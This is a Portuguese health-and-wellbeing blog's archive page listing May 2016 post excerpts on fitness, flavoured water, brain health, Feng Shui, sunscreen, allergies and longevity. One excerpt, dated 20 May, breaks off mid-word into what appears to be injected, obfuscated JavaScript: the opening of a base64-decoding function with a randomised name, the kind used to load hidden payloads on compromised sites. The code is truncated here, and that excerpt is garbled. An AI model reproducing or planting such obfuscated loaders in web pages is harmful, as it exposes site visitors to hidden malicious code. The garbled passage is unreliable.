Mai 28, 2016 | Equilíbrio, Saúde e bem estar
O método Low Pressure Fitness (LPF) é um sistema inovador de inteligência postural resultante do stretching miofascial, exercícios neurodinâmicos e respiratórios em conjunto com a metodologia didática mais avançada em ciências do exercício físico. É uma prática...
Mai 27, 2016 | Equilíbrio, Saúde e bem estar
Água aromatizada – 5 receitas por Dra. Rita Boavida, nutricionista A água aromatizada é uma combinação de água com ingredientes variados como frutas, vegetais, ervas aromáticas e especiarias. A preparação das águas aromatizadas consiste em adicionar, por...
Mai 26, 2016 | Equilíbrio, Saúde e bem estar
por Manuela Nunes Cuide de si! É imprescindível que reserve tempo para cuidar de si. Mesmo que não disponha de uma semana de férias para se mimar, há receitas que pode executar rapidamente e sem sair de casa. Há soluções rápidas e outras que vai querer experimentar...
Mai 25, 2016 | Equilíbrio, Saúde e bem estar
10 segredos para manter o cérebro jovem e activo por Vasco Catarino Soares, neuropsicólogo Durante a infância e a adolescência, o nosso cérebro é inundado por estímulos que o fazem desenvolver-se e tornar-se um órgão activo. Nestas idades, de forma natural, o ser...
Mai 24, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
O Feng Shui é uma ferramenta de trabalho para criar e organizar espaços harmoniosos e adequados às necessidades de quem os utiliza, mas é também uma ferramenta que nos ajuda a olhar para a nossa vida e tudo o que dela faz parte. A verdade é que nesta vida não somos...
Mai 21, 2016 | Equilíbrio, Saúde e bem estar
Por Lillian Barros Se a sua preocupação estes dias quentes é o que levar para a praia sem pôr em risco os resultados de uma alimentação cuidada e equilibrada ao longo do ano, então, deixo-lhe algumas dicas para snacks, lanches e, até mesmo, algumas refeições que...
Mai 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3, Teresa
Já todos sabem que sou regrada na minha alimentação, que faço exercício e que me cuido. Mas qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 20, 2016 | Equilíbrio, Saúde e bem estar
Como escolher o seu protetor solar? Os últimos dias têm sido de muito calor e já há no ar um cheirinho a verão ou a época-em-que-todos-queremos-um-bronzeado-deslumbrante, certo? ? Nestes dias de sol devemos ter cuidados redobrados e aplicar sempre um protetor solar...
Mai 12, 2016 | Equilíbrio, Saúde e bem estar, Teresa, Zen Energy
Calcula-se que 3 em cada 10 pessoas sofram de algum tipo de alergia, uma proporção que curiosamente tem vindo a aumentar vertiginosamente nas últimas décadas, sobretudo nos países desenvolvidos. As alergias são o resultado da combinação de factores ambientais,...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
10 Hábitos saudáveis que o ajudarão a viver até aos 100 anos. Tome nota destas interessantes dicas publicadas pela revista americana U.S. News, onde são apresentados 10 hábitos que farão superar as suas expectativas de vida. Viver um século é possível, experimente!...
